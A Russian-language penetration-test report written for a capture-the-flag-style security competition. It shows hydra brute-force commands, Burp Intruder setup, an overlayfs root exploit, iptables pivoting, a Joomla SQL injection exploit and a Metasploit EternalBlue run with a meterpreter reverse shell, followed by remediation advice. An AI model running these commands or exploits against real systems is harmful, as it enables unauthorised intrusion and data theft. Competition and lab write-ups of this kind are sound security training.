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Резюме 

В период с 01.02.2018 по 01.04.2018 было проведено тестирование защищенности 

ИТ-инфраструктуры в рамках конкурса «Эшелонированная оборона VII». 

На всех этапах тестирования были обнаружены токены (см. раздел 

«Обнаруженные токены»).  

В ходе тестирования были обнаружены серьезные уязвимости, которые позволяют 

нарушителям получить несанкционированный доступ к данным на уязвимых 

хостах. К примеру, в результате эксплуатации выявленных уязвимостей, 

злоумышленники могут: 

 использовать протокол XML-RPC для взлома сайта (на хосту 10.1.1.2) путем 

подбора пароля (xmlrpc-bruteforce), при этом владелец сайта не увидит 

информацию об ошибке, но заметит снижение скорости работы сайта; 

 проводить XSS атаки через языковые настройки сайта; 

 внедрить в выдаваемую веб-системой вредоносный код (который будет 

выполнен на компьютере пользователя при открытии им этой страницы и 

будет взаимодействовать с веб-сервером злоумышленника; 

 на узле 10.1.1.3 получать полный доступ к системе с правами супер 

пользователя root без предварительной авторизации в системе; 

 на узле 10.4.0.3 за короткий промежуток времени вычислить даже сложные 

логин и пароль администратора сайта, подбирая их символ за символом; 

 на узле 10.4.0.3 выполнять произвольные SQL-команды; 

 на узле 10.4.0.3 проводить атаки межсайтового скриптинга XSS; 

 на узле 10.1.1.5 удаленно получить возможность выполнять любой код, 

получить полный доступ к системе. 

В разделе «Обнаруженные уязвимости» вы можете ознакомиться с: 

 подробным описанием выявленных уязвимостей; 

 детальными рекомендациями по устранению уязвимостей. 
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Обнаруженные токены 

№ задания IP-адрес узла Токен 

1 10.1.1.2 ToKeN = {RS[hY_WEB} 

2 10.1.1.3 ToKeN = {CoW_GooD} 

3 10.4.0.3 echelonAdmin 

4 10.1.1.5 ToKeN = {I_aM_Ftp} 
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Этапы тестирования защищенности 

Запустил специальную версию комплекса тестирования защищенности «Сканер-

ВС», предоставленного для выполнения задании. После подключения по VPN-

соединению к подготовленной IT-инфраструктуре, открыл компоненту «Поиск 

целей» для анализа сети с целью инвентаризации ресурсов и выявления объектов 

тестирования. При запуске задачи сканирования в качестве целей указал IP-адреса 

10.1.1.2 - 10.1.1.5. После завершения сканирования во вкладке «Порты» появились 

данные об IP-адресах (10.1.1.2, 10.1.1.4 и 10.1.1.5), которые сгруппированы в 

таблицу как показано на рисунке 1. 

 

Рисунок 1 - Вкладка "Порты" Сканер-ВС 

Узел 10.1.1.2 

На узле 10.1.1.2 найти скрытый каталог, в котором содержится адрес со 
страницей токена (использовать только буквы). Подобрать пароль от 
страницы с токеном и получить сам токен (использовать только цифры). 

 
Сканирование узла 10.1.1.2 с помощью утилиты nmap на наличие открытых 

портов показало, что на узле открыт порт 80 HTTP (Рисунок 2). 
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Рисунок 2 - Сканирование с помощью утилиты nmap 

С помощью браузера перешел по адресу 10.1.1.2 - открылся сайт «TEST» на 

WordPress версии 4.8.3 (Рисунок 3). 

 

Рисунок 3 - Сайт TEST на WordPress 
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Для Wordpress сайтов есть утилита wpscan, которая позволяет проверить их на 

наличие плагинов с уязвимостями. В результате сканирования сайта с помощью 

плагина wpscan был обнаружен пользователь echelonadmin (рис.4), стало известно, 

что по адресу http://10.1.1.2/xmlrpc.php доступен XML-RPC интерфейс (рис. 5 и 

6). Использование XML-RPC небезопасно, т.к. злоумышленники могут 

использовать протокол XML-RPC для взлома сайта через подбор пароля, при 

этом владелец сайта не увидит информацию об ошибке. 

 

Рисунок 4 - Нйденный пользователь wpscan 

 

Рисунок 5 - XML-RPC wpscan 

 

 

Рисунок 6 - 10.1.1.2/xmlrpc.php 

Так же были выявлены 7 уязвимостей (рис. 7), найден 1 плагин (рис.8). 

http://10.1.1.2/xmlrpc.php
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Рисунок 7 - Уязвимости узла 10.1.1.2 

 

Рисунок 8 - Найден плагин wpscan 

Чтобы на узле 10.1.1.2 найти скрытый каталог воспользовался сканером веб-

контента dirb. Он ищет существующие (возможно, скрытые) веб-объекты по 

словарю. В процессе сканирования узла с помощью стандартного списка dirb 

было обнаружено только 12 директорий (рис. 9, 10). Сформировал свой словарь с 

помощью утилиты crunch (рис. 11) и запустил dirb с собственным словарем. В 

результате был найден тот самый скрытый каталог http://10.1.1.2/qiab/ (рис. 12). 

http://10.1.1.2/qiab/
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Рисунок 9 - Сканирование с помощью стандартного списка dirb 

 

Рисунок 10 - Сканирование с помощью стандартного списка dirb 

 

Рисунок 11 - Формирование словаря с помощью утилиты crunch 
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Рисунок 12 - Найден тот самый скрытый каталог http://10.1.1.2/qiab/ 

В скрытом каталоге 10.1.1.2/qiab/ находился файл READ_ME (рис. 13), в котором 

содержался адрес 10.1.1.2/index.php/timetosecret/ со страницей токена (рис. 14). 

 

Рисунок 13 - Содержимое скрытого каталога 

 

Рисунок 14 - Содержимое файла READ_ME 

На странице с токеном необходимо было подобрать пароль, состоящий из цифр. 

На этот раз решил воспользоваться утилитой hydra. Для запуска процесса 

http://10.1.1.2/qiab/
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перебора пароля необходимо указать такие данные, как IP сервера, сервис, порт, 

метод запроса и строка, которую hydra будет искать в присланном от сайта ответе 

после введения пароля. Чтобы получить основные данные, нажал на кнопку F12 и 

открыл панель отладки браузера (вкладка Network). После этого ввел пароль, 

нажал на кнопку «Enter», и проанализировал информацию в консоли (рис. 15). 

 

Рисунок 15 - Анализ консоли браузера 

В итоге были получены следующие данные: 

 IP сервера: 10.1.1.2; 

 Сервис HTTP на стандартном 80 порту; 

 Для проверки пароля используется HTML форма, которая отправляет по 

адресу http://10.1.1.2/wp-login.php?action=postpass методом POST запрос 

вида post_password=^PASS^&Submit=Enter. 

Проблема была с получением строки, которую hydra будет искать в присланном 

от сайта ответе после введения пароля. В данном случае попался исключительный 

случай, когда никаких сообщении о результате проверки пароля сайт не выдавал. 

Обычно, «нормальные» сайты показывают пользователю сообщения об ошибках в 

случае неверного ввода пароля. В крайнем случае, можно попытаться найти какую-

то зацепку в ответах для заголовков при попытке ввода данных. Для анализа 

проблемы запустил hydra с ключом -d для запуска утилиты в режиме отладки. В 
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команде указываем логин “login”, т.к. утилита не запускается, если не указывать 

логин (хоть он нам и не нужен). Использовал ключ -x, чтобы утилита 

генерировала пароли для подбора самостоятельно (пароль, состоящий из цифр, 

минимальная длинна которого 1, максимальная – 6). В качестве строки, которую 

hydra будет искать в присланном от сайта ответе после введения неправильного 

пароля указал словосочетание «enter your password below» из страницы, где 

требуется ввести пароль, т.к. надеялся, что после ввода правильного пароля на 

новой странице сайта не будет данного словосочетания. 

hydra -l login -x 1:6:1 -f -V 10.1.1.2 http-post-form "/wp-
login.php?action=postpass:post_password=^PASS^&Submit=Enter:enter your 
password below" -d 

 
Из сообщения отладки можно увидеть то, что отправляет сервер в ответ на 

попытку ввода неправильного пароля (рис. 17). В ответе от сервера нет 

словосочетания «enter your password below», поэтому hydra ошибочно выдает в 

качестве подобранного пароля цифру 0 (рис.16). 

 

Рисунок 16 - Ложный ответ hydra

 

Рисунок 17 - Ответ от сервера 

В надежде на то, что после ввода правильного пароля в ответе от сервера будет 

слово «ToKeN» попробовал добавить ключ S=ToKeN, чтобы дать указание hydra, 
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что если строка найдена, то введен правильный пароль. В итоге сформировал 

запрос: 

hydra -l login -x 1:6:1 -f -V 10.1.1.2 http-post-form "/wp-
login.php?action=postpass:post_password=^PASS^&Submit=Enter:S=ToKeN" 

 
В результате hydra выдала ложный ответ с неправильным паролем 9713, (рис.18). 

 

Рисунок 18 - Ложный ответ hydra 

Дальнейший перебор пароля продолжил с помощью инструмента Burp Suite 

(вкладка Intruder), чтобы изменять запросы различным систематизированным 

образом, направлять каждый модифицированный вариант запроса и 

анализировать ответы веб-сайта. 

Чтобы пропускать запросы к сайту через прокси Burp Suite, в настройках браузера 

в качестве прокси сервера указал хост 127.0.0.1 и порт 8080. На вкладке «Proxy» 

программы Burp Suite появился запрос, отправленный браузером. Нажав на кнопку 

«Send to Intruder», отправил запрос на вкладку Intruder для дальнейшего анализа. 

На вкладке «Positions» настроил шаблон запроса для атаки и маркер нагрузки, как 

показано на рисунке 19. В качестве типа атаки выбрал «Sniper», чтобы 

использовался одиночный набор нагрузок. Программа будет выбирать каждую 

позицию нагрузки по очереди и помещать каждую нагрузку в эту позицию по 

очереди. Позиции, которые не указаны для данного запроса, не обрабатываются - 

маркеры позиции удаляются, а любой вложенный текст, который появляется 

между ними в шаблоне, остается неизменным. 

На вкладке «Payloads» в качестве набора нагрузок выбрал опцию «Numbers» и 

указал, чтобы Burp Suite сам генерировал словарь из чисел от 0 до 999999 с шагом 

1, как показано на рисунке 20. 
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Рисунок 19 - Вкладка «Positions» программы Burp Suite Intruder 

 

Рисунок 20 - Вкладка «Payloads» программы Burp Suite Intruder 

Как видно на рисунке 21, при первом ответе сервером выдается соответствующее 

значение cookie, а HTTP-заголовок Location просит браузер загрузить другую web-

страницу (перенаправляет), поэтому на вкладке «Options» Burp Suite Intruder в 

разделе «Redirections» выбрал режим переадресации «Always» и включил опцию 

обработки Cookies-файлов в переадресациях (рис.22). 

При включенной опции Always Intruder будет следовать переадресациям на какой 

бы то ни было URL. 

При включенной опции «Process cookies in redirections» любые наборы cookie-

файлов в ответах при переадресации будут отправлены повторно при следовании 

цели переадресации. 
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Рисунок 21 - Первый ответ сервера 

 

Рисунок 22 - Вкладка «Options» Burp Suite Intruder, рраздел «Redirections» 

На вкладке «Options» Burp Suite Intruder в разделе «Grep - Extract» добавил 

условия, которые будут использованы для извлечения информации из ответов в 

таблицу результатов атаки для облегчения дальнейшего анализа данных (рис.23). 

 

Рисунок 23 - Вкладка «Grep - Extract» Burp Suite Intruder, рраздел «Redirections» 

Через некоторый промежуток времени процесс подбора пароля из словаря 

завершился. После анализа таблицы результатов атаки были обнаружены 

подходящий пароль и страница с искомым токеном (рис. 24, 25). 
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Рисунок 24 - Таблица результатов атаки Burp Suite Intruder 

 

Рисунок 25 - Страница с искомым токеном 
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Узел 10.1.1.3 

На узле 10.1.1.3 подобрать пароль от учетной записи test и затем найти 
токен в системе (возможно, потребуется повышение привилегий). Для 
подбора пароля используйте только числа. Пример токена: ToKeN = {} 

 

Узел 10.1.1.3 доступен и в нем открыт порт 22 SSH (рис. 26). 

 

Рисунок 26 - fping & nmap 10.1.1.3 

Запустил утилиту hydra для подбора пароля к учетной записи test по протоколу 

SSH. Указал, чтобы hydra генерировала словарь для подбора самостоятельно 

(пароль, состоящий из цифр, длиной от 1 до 6). В результате hydra выдала пароль 

111 (рис. 27). 
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Рисунок 27 - Пароль к учетной записи test подобран 

Подключение к хосту 10.1.1.3 по протоколу SSH с помощью связки test:111 

прошло успешно (рис. 28). 

 

Рисунок 28 - Подключение к хосту 10.1.1.3 по протоколу SSH 

Запустил команду “uname –a”, чтобы посмотреть информацию о системе (рис.29). 

 

Рисунок 29 - Информация о системе 

Как раз данная система имеет уязвимость CVE-2015-1328, которая позволяет 

локальным пользователям получать доступ к системе с правами root. Нашел и 

скачал эксплойт на сайте www.exploit-db.com. Чтобы данный эксплойт в будущем 

не был найден на хосте другими пользователями решил для размещения, 

компилирования и запуска кода эксплойта создать скрытый каталог, выполнив 

команду: mkdir /tmp/.mysecretfolder. С помощью утилиты для передачи файлов 

через ssh отправил код эксплойта на ранее созданный скрытый каталог (рис. 30). 

http://www.exploit-db.com/
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Рисунок 30 - Отправка кода эксплойта на узел 10.1.1.3 

С помощью утилиты gcc скомпилировал исходный файл в исполняемый и 

запустил эксплойт. В результате получил права суперпользователя root (рис. 31). 

 

Рисунок 31 - Результат эксплуатации уязвимости на хосту 10.1.1.3 

Для поиска строк из текстовых файлов, которые содержат текст "ToKeN" запустил 

команду grep -iRI "ToKeN" ./ В результате был найден токен 

ToKeN = {CoW_GooD} (рис.32). 

 

Рисунок 32 - Результаты поиска токена на хосте 10.1.1.3 
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Узел 10.4.0.3 (через 10.1.1.4) 

Найти уязвимость в веб приложении, размещенном на узле 10.4.0.3, 
токеном будет логин администратора. Для того, чтобы взломать 10.4.0.3, 
используйте данные для подключения к 10.1.1.4(Логин: clock, Пароль: 
clock). 

 

В результате сканирования с помощью задачи «Поиск целей» комплекса «Сканер-

ВС» (рис. 1) было выяснено, что на узле 10.1.1.4 открыт порт 22 SSH. 

Подключение к узлу 10.1.1.4 по протоколу SSH прошло успешно (рис. 33). 

 

Рисунок 33 - Подключение к 10.1.1.4 по SSH 

Хост 10.4.0.3 доступен, и на нем открыт порт 80 HTTP (рис 34).  

 

Рисунок 34 - Результаты сканирования узла 10.4.0.3 

С помощью команды ifconfig посмотрел текущие настройки сетевых 

интерфейсов (рис. 35).  
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Рисунок 35 - Текущие настройки сетевых интерфейсов 

Чтобы упростить дальнейшую работу, решил сделать проброс портов iptables в 

10.1.1.4. Включил переадресацию трафика на уровне ядра: 

echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward 

 
Разрешил инициализацию новых соединений, проходящих от ens18 до ens19. 

sudo iptables -A FORWARD -i ens18 -o ens19 -p tcp --syn --dport 80 -m 
conntrack --ctstate NEW -j ACCEPT 

 
Это правило разрешает только первый пакет, а нужно пропускать любой 

следующий трафик в обоих направлениях для этого порта (80). Поэтому добавил 

правила для ESTABLIHED и RLEATED: 



22 

 

sudo iptables -A FORWARD -i ens18 -o ens19 -m conntrack --ctstate 
ESTABLISHED,RELATED -j ACCEPT 

sudo iptables -A FORWARD -i ens19 -o ens18 -m conntrack --ctstate 
ESTABLISHED,RELATED -j ACCEPT 

 
Сейчас узел 10.1.1.4 может пропускать пакеты в сеть, но он еще не знает куда. 

Поэтому настроил модификацию адреса назначения (Destination) DNAT в 

цепочке PREROUTING и модификацию адреса отправителя (Source) SNAT. С 

помощью следующего правила перенаправил все пакеты, пришедшие на порт 80, 

к 80 порту узла 10.4.0.3: 

sudo iptables -t nat -A PREROUTING -i ens18 -p tcp --dport 80 -j DNAT --
to-destination 10.4.0.3 

 
Пакет будет иметь исходный адрес клиента, а значит будет пытаться отправить 

ответ ему. Так как клиент ожидает получить ответ от маршрутизатора, то 

нормального TCP соединения не получиться. Чтобы решить эту проблему, 

поменял адрес источника и заменил его на адрес узла-маршрутизатора 10.4.0.2. 

Тогда ответ придет маршрутизатору, а тот уже от своего имени передаст его в сеть. 

sudo iptables -t nat -A POSTROUTING -o ens19 -p tcp --dport 80 -d 10.4.0.3 
-j SNAT --to-source 10.4.0.2 

 
Чтобы убедиться в том, что 80 порт на 10.1.1.4 открыт, заново запустил NMAP 

(рис. 36). 
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Рисунок 36 - Повторное сканирование 10.1.1.4 утилитой nmap 

Ввел адрес 10.1.1.4 в адресной строке браузера и открылся веб-сайт из 10.4.0.3 (рис. 

37). 

 

Рисунок 37 - Веб сайт из узла 10.4.0.3 

В результате выполнения задачи поиска уязвимостей Веб-сервисов на хосте 

10.1.1.4 из комплекса тестирования защищенности «Сканер-ВС» было выявлено 14 

уязвимостей. Фрагмент страницы Сканер-ВС с найденными уязвимостями на 

10.4.0.3 показан на рисунке 38. Полный перечень найденных уязвимостей 

приведен в таблице 1, в приложениях к отчету. 
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Рисунок 38 - Фрагмент страницы Сканер-ВС с найденными уязвимостями на 10.4.0.3 

В ходе поиска информации по выявленным уязвимостям, в открытом источнике 

был найден эксплойт для реализации уязвимости CVE-2017-8917 (Joomla 3.7.0 

SQL Injection). С помощью данного эксплойта были получены логины 

пользователей веб-сайта (см.рис. 39), среди которых был и логин администратора 

echelonAdmin - искомый токен. 

 

Рисунок 39 - Полученные логины пользователей сайта 
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Узел 10.1.1.5 

На узле 10.1.1.5 найдите уязвимость, так же проведите атаку полным 
перебором паролей на сервисы и найдите токен (используйте для 
перебора, только цифры). 

 

В результате сканирования с помощью задачи «Поиск целей» комплекса «Сканер-

ВС» (рис. 1) стало известно, что на узле 10.1.1.5 открыто 13 портов (ftp, msrpc, 

mysql, netbios-ssn, ms-wbit-server и microsoft-ds). Атака полным перебором 

паролей на сервисы (логины, типа admin, echelonadmin, root и т.д.; пароли из 

цифр длиной от 1 до 6 символов) не дала результатов. При попытке запуска 

задачи «Сетевой аудит паролей» комплекса «Сканер-ВС» выходила ошибка «request 

entity too large» (рис. 40), возможно, из-за «большого» размера импортируемого 

словаря (txt файл со списком паролей из цифр от 1 до 6 и размером 7,29 МБ). 

Поэтому атаку перебора паролей проводил с помощью таких утилит, как hydra, 

Metasploit Framework и т.д, (например, атака на службу FTP с помощью утилиты 

hydra (рис. 41). 

 

Рисунок 40 - Ошибка «request entity too large» 
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Рисунок 41 - Атака на службу FTP с помощью утилиты hydra 

С помощью компоненты «Поиск уязвимостей» комплекса «Сканер-ВС» было 

обнаружено 38 уязвимостей (с подробным описанием) на узле 10.1.1.5 (рисунок 42, 

таблица 2 в приложениях к отчету). 

 

Рисунок 42 - Обнаруженные уязвимости на узле 10.1.1.5 

Согласно результатам поиска уязвимостей, на хосте 10.1.1.5 присутствует 

уязвимость с критическим уровнем риска и связанная с портом 445 («Отсутствует 

критическая защита, обновление в соответствии с бюллетенем Microsoft»). Скорее 

всего надо эксплуатировать нашумевшую в последнее время уязвимость в Windows 

с помощью эксплойта MS17-010 EternalBlue SMB Remote Windows Kernel Pool 

Corruption. 

Выбрал сканер auxiliary/scanner/smb/smb_ms17_010 в платформе Metasploit, задал 

диапазон адресов (set RHOSTS 10.1.1.5) и запустил сканер командой run. Сканер 

показал, что на выбранном хосте имеется уязвимость, более того он показал какая 

именно версия ОС работает на уязвимой машине (рис. 43). 
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Рисунок 43 - Результат сканирования узла 10.1.1.5 с помощью smb_ms17_010 

Выбрал эксплойт exploit/windows/smb/ms17_010_eternalblue в платформе 

Metasploit, задал IP адрес уязвимого компьютера (set RHOST 10.1.1.5). В качестве 

полезной нагрузки, которую эксплоит передаст уязвимому компьютеру, задал 

meterpreter (set PAYLOAD windows/x64/meterpreter/reverse_tcp). Командой set 

LHOST 192.168.160.15 ввел IP адрес своего компьютера. Запустил сканер 

командой exploit (рис. 44). 

 

Рисунок 44 - Запуск эксплойта ms17_010_eternalblue 

Через несколько секунд удалённый хост был успешно взломан, открылась сессия 

Meterpreter (рис. 45) и был получен доступ к командной строке (рис. 46).

Рисунок 45 - Результат запуска эксплойта ms17_010_eternalblue 
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Рисунок 46 - Получен доступ к командной строке 

Нашел искомый токен (рис. 47). 

 

Рисунок 47 - Найден токен на хосте 10.1.1.5 
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Обнаруженные уязвимости 

Узел 10.1.1.2 

Доступен XML-RPC интерфейс 

Обнаружение 

По адресу http://10.1.1.2/xmlrpc.php доступен XML-RPC интерфейс (рис. 5 и 6). 

Через этот протокол в CMS Wordpress реализована возможность удаленной 

публикации, редактирования и удаления постов и комментариев. 

Риск 

Использование XML-RPC небезопасно, т.к. злоумышленники могут использовать 

протокол для взлома сайта путем подбора пароля (xmlrpc-bruteforce). Владелец 

сайта не увидит информацию об ошибке, но заметит снижение скорости работы 

сайта. 

Рекомендации по устранению уязвимости 

1) Редактирование файла wp-config.php/functions.php. После строки: 

require_once(ABSPATH . 'wp-settings.php'); 

допишите:  

add_filter('xmlrpc_enabled', '__return_false'); 

 

2) Редактирование .htaccess файла. Добавьте в файл: 

<Files xmlrpc.php> 
      Order Deny,Allow 
      Deny from all 
</Files> 

3) Зайдите в файл функции темы «functions.php» и в самом конце файла перед 

знаком «?>» вставьте вот этот код: 

add_filter('xmlrpc_enabled', '__return_false'); 
remove_action( 'wp_head', 'rsd_link' ); 
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CVE-2017-8295 Host Header Injection in Password Reset 

Обнаружение 

См. «Рисунок 7 - Уязвимости узла 10.1.1.2» на странице 7. Суть атаки заключается в 

использовании логической ошибки в механизме восстановления пароля 

Wordpress. Когда пользователь запрашивает такую смену, WordPress генерирует 

уникальный секретный код и отправляет его на email, который хранится в базе. 

Риск 

Злоумышленник может отправить специальный HTTP-запрос с 

предустановленным значением hostname (например, attacker-mxserver.com) и 

одновременно инициировать процесс сброса пароля для какого-либо 

пользователя - к примеру, администратора сайта. 

Поскольку имя хоста в HTTP-запросе - это домен, контролирующийся 

атакующим, поля From и Return-Path в письме для сброса пароля будут изменены 

таким образом, что в них будет включен почтовый адрес, связанный с доменом 

хакера - например, wordpress@attacker-mxserver.com вместо wordpress@victim-

domain.com. 

Письмо с кодом для сброса пароля будет все равно отправлено на адрес жертвы, 

однако при определенных условиях получить его сможет и атакующий. 

Рекомендации по устранению уязвимости 

Манипуляции с заголовком SERVER_NAME с помощью HTTP-заголовка Host 

могут быть осуществлены на «дефолтных» настройках веб-сервера Apache, 

который чаще всего используется для развертывания WordPress. 

Поскольку официального патча для закрытия уязвимости не существует, 

рекомендуется обновить конфигурацию, активировав опцию UseCanonicalName = 

On в основном файле конфигурации Apache, что позволит установить 

статическое значение SERVER_NAME и сделает проведение атаки невозможным. 

CVE-2017-17094 Authenticated JavaScript File Upload 

Обнаружение 

См. «Рисунок 7 - Уязвимости узла 10.1.1.2» на странице 7. 
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Риск 

В wp-includes/functions.php есть возможность загрузки файлов JavaScript для 

пользователей, у которых нет unfiltered_html, что может позволить удаленным 

злоумышленникам проводить атаки XSS через созданный файл. 

Рекомендации по устранению уязвимости 

Обновить WordPress. В версии 4.8.4 эта уязвимость устранена. 

CVE-2017-17094 RSS and Atom Feed Escaping 

Обнаружение 

См. «Рисунок 7 - Уязвимости узла 10.1.1.2» на странице 7. 

Риск 

wp-includes/feed.php неправильно ограничивает поля RSS и Atom, что может 

позволить злоумышленникам проводить XSS атаки с помощью специального 

URL-адреса. 

Рекомендации по устранению уязвимости 

Обновить WordPress. В версии 4.8.4 эта уязвимость устранена. 

 

CVE-2017-17093 HTML Language Attribute Escaping 

Обнаружение 

См. «Рисунок 7 - Уязвимости узла 10.1.1.2» на странице 7. 

Риск 

wp-includes/general-template.php не ограничивает надлежащим образом атрибут 

lang элемента HTML, что может позволить злоумышленникам проводить XSS 

атаки через языковые настройки сайта. 

Рекомендации по устранению уязвимости 

Обновить WordPress. В версии 4.8.4 эта уязвимость устранена. 
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CVE-2017-17091 'newbloguser' Key Weak Hashing 

Обнаружение 

См. «Рисунок 7 - Уязвимости узла 10.1.1.2» на странице 7. 

Риск 

wp-admin/user-new.php присваивает переменной newbloguser строку, которая 

получается непосредственно из идентификатора пользователя, что позволяет 

удаленным злоумышленникам обойти указанные ограничения доступа. 

Рекомендации по устранению уязвимости 

Обновить WordPress. В версии 4.8.4 эта уязвимость устранена. 

CVE-2018-5776 MediaElement Cross-Site Scripting (XSS) 

Обнаружение 

См. «Рисунок 7 - Уязвимости узла 10.1.1.2» на странице 7. 

Риск 

Уязвимость XSS была обнаружена в резервных файлах Flash в MediaElement (в 

разделе wp-includes/js/mediaelement), библиотеке, которая входит в состав 

WordPress, что позволяет злоумышленникам внедрить в выдаваемую веб-системой 

страницу вредоносный код (который будет выполнен на компьютере пользователя 

при открытии им этой страницы и будет взаимодействовать с веб-сервером 

злоумышленника). 

Рекомендации по устранению уязвимости 

Обновить WordPress. В версии 4.8.5 эта уязвимость устранена. 

CVE-2018-6389 Application Denial of Service (DoS) (unpatched) 

Обнаружение 

См. «Рисунок 7 - Уязвимости узла 10.1.1.2» на странице 7. 

Риск 

Файл load-scripts.php, предназначен для предоставления пользователям некоторых 

модулей JS. Через параметр load [ ] можно запросить несколько значений и 

получить в ответ от сервера несколько JS-модулей одновременно. 
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Файл load-scripts.php предназначен только для администраторов сайта для 

повышения производительности и позволяет загрузить страницу быстрее, 

объединив (на сервере) несколько файлов JavaScript в один запрос. 

Однако, получить доступ к функции на «load-scripts.php» можно и без 

предварительной авторизации на сайте через страницу wp-login.php, тем самым 

данная уязвимость позволяет любому пользователю довести сайт до отказа даже с 

помощью одной машины. 

Рекомендации по устранению уязвимости 

На данный момент патч не выпущен. Рекомендуется либо защитить паролем 

директорию wp-admin, либо воспользоваться bash-скриптом по адресу: 

https://github.com/Quitten/WordPress/blob/master/wp-dos-patch.sh 

 

Узел 10.1.1.3 

CVE-2015-1328 'overlayfs' Local Privilege Escalation. 

Обнаружение 

См. рисунок 31 и описание на страницах 18-19 данного отчета. 

Риск 

Файловая система overlayfs в пакете Linux Kernel 3.13.0 < 3.19 (Ubuntu 

12.04/14.04/14.10/15.04) неправильно проверяет разрешения на создание файлов 

в каталоге верхней файловой системы, что позволяет локальным пользователям 

получать доступ с правами root, используя конфигурацию, в которой overlayfs 

разрешает в произвольном пространстве имен mount. 

Рекомендации по устранению уязвимости 

Проблема может быть исправлена путем обновления системы до последней 

версии пакета Ubuntu. Если не хотите обновлять ядро, и не используете overlayfs, 

можно просто удалить или занести в черный список overlayfs.ko /overlay.ko. 
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Узел 10.4.0.3 

CVE-2017-14595 Уязвимость Joomla, связанная с аутентификацией 

с использованием LDAP. 

Обнаружение 

См. рисунок 38. 

Риск 

Все версии Joomla между 1.5 и 3.7.5 подвержены опасному багу (CVE-2017-14596), 

связанному с аутентификацией с использованием Lightweight Directory Access 

Protocol (LDAP). В Joomla LDAP представлен специальным аутентификационным 

плагином, включить который можно через Plugin Manager. 

Из-за некорректной «очистки» входящих данных непривилегированный 

атакующий может эксплуатировать баг на странице авторизации и вычислить 

логин и пароль администратора, подбирая их символ за символом. 

Рекомендации по устранению уязвимости 

Отключить аутентификационный плагин LDAP. 

Обновить Joomla до версии 3.8, в которой исправлена данная уязвимость. 

CVE-2017-8917 SQL injection vulnerability in Joomla! 3.7.0. 

Обнаружение 

См. рисунок 38 и описание на страницах 23-24. 

Риск 

Уязвимость SQL-инъекций в Joomla! 3.7.x до 3.7.1 позволяет злоумышленникам 

выполнять произвольные SQL-команды через неуказанные векторы. 

Рекомендации по устранению уязвимости 

Обновление до версии 3.7.1. 

CVE-2017-11612 Cross-Site Scripting (XSS) in Joomla! before 3.7.4. 

Обнаружение 

См. рисунок 38. 
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Риск 

В Joomla! до 3.7.4 неадекватная фильтрация потенциально вредоносных тегов 

HTML позволяет удаленным пользователям проводить атаки межсайтового 

скриптинга XSS. 

Рекомендации по устранению уязвимости 

Обновление до версии 3.7.4. 

 

Узел 10.1.1.5 

CVE-2017-0143 Windows SMB Remote Code Execution Vulnerability. 

Обнаружение 

См. рисунок 42 и таблицу 2 в приложениях к отчету. 

Риск 

Успешно эксплуатировав данную уязвимость, неавторизованный злоумышленник 

удаленно может получить возможность выполнять код на целевом сервере. 

Рекомендации по устранению уязвимости 

Установить актуальные обновления Microsoft Windows, особенно обновление 

KB4012212. 

 

 

  



Приложения 

Таблица 1 - Обнаруженные уязвимости на узле 10.4.0.3 

№ Адрес Порт Протокол Наименование уязвимости Описание 

1 
10.1.1.4 

22 tcp Тип и версия сервера SSH 

Это определяет тип и версию сервера SSH, подключаясь к серверу и 
обработки полученного буфера. Эта информация дает потенциальным 
злоумышленникам дополнительную информацию о атаке системы. 
Версии и типы следует опускать, где это возможно. 

2 10.1.1.4 80 tcp DIRB (обертка NASL) 
Этот скрипт использует DIRB для поиска каталогов и файлов в 
Интернете приложений с помощью грубой форсировки. 

3 10.1.1.4 80 tcp Никто (обложка NASL) 
Этот плагин использует nikto, чтобы найти слабые сценарии CGI и 
другие известные проблемы относительно безопасности веб-сервера. 

4 10.1.1.4 22 tcp Сервисы 

Эта процедура пытается угадать, какая служба работает на удаленных 
портов. Например, он ищет веб-сервер, который может прослушивать 
другой порт, чем 80 или 443 и делает эту информацию доступной для 
других процедур проверки. 

5 10.1.1.4 80 tcp Joomla! 
Этот хост работает с Joomla и подвержен к уязвимости раскрытия 
информации. 

6 10.1.1.4 80 tcp Joomla! 
Этот хост работает с Joomla и подвержен к уязвимости раскрытия 
информации. 
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7 10.1.1.4 80 tcp 
Joomla! Уязвимость Core 

Cross-Site Scripting - июль 17 
Этот хост работает с Joomla и подвержен к уязвимости межсайтового 
скриптинга. 

8 10.1.1.4 80 tcp 

Joomla! Уязвимость раскрытия 
информации и уязвимости 
межсайтового скриптинга - 

июль 17 

Этот хост работает с Joomla и подвержен к раскрытию информации и 
уязвимости межсайтового скриптинга. 

9 10.1.1.4  tcp 
Консолидация и отчетность 

ОС 

Этот скрипт объединяет информацию ОС, обнаруженную несколькими 
NVT, и пытается найти наилучшую подходящую ОС. Кроме того, он 
сообщает всю собранную ранее информацию, ведущую к этой лучшей 
совместимой ОС. В нем также сообщается о возможной 
дополнительной информации что может помочь улучшить 
обнаружение ОС. 

10 10.1.1.4 80 tcp Тип и версия сервера HTTP Это определяет тип и версию HTTP-сервера. 

11 10.1.1.4 80 tcp 
Консолидация сканирования 

CGI 

Сценарий объединяет различную информацию для сканирования CGI. 
Эта информация основана на следующих сценариях / настройках: - 
Обнаружение HTTP-версии (OID: 1.3.6.1.4.1.25623.1.0.100034) - Нет 
проверки 404 (OID: 1.3.6.1.4.1.25623.1.0.10386) - Веб-зеркалирование / 
webmirror.nasl (OID: 1.3.6.1.4.1.25623.1.0.10662)uzuz - Сканер каталогов 
/ DDI_Directory_Scanner.nasl (OID: 1.3.6.1.4.1.25623.1.0.11032) - 
сконфигурированный «cgi_path» в «Предпочтениях сканера» 
используемой конфигурации сканирования - настроено «Включить CGI-
сканирование» и «Включить универсальное сканирование веб-
приложений» в разделе «Параметры глобальной переменной», 
используемой конфигурации сканирования Если вы считаете, что все 
это неправильно, сообщите об этом openvas-
plugins@wald.intevation.org 

12 10.1.1.4 80 tcp Сервисы Эта процедура пытается угадать, какая служба работает на удаленных 
портов. Например, он ищет веб-сервер, который может прослушивать 
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другой порт, чем 80 или 443 и делает эту информацию доступной для 
других процедур проверки. 

13 10.1.1.4 80 tcp 
Обнаружение версии веб-

сервера Apache 

Обнаружение установленной версии Apache Web Server Сценарий 
обнаруживает версию HTTP-сервера Apache на удаленном хосте и 
устанавливает KB. 

14 10.1.1.4 80 tcp Проверка версии joomla 
Обнаружение установленной версии joomla Этот скрипт отправляет 
запрос HTTP GET и пытается получить версию из ответа и задает 
результат в КБ. 
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Таблица 2 -  Обнаруженные уязвимости на узле 10.1.1.5 

№ Адрес Порт Протокол Наименование уязвимости Описание 

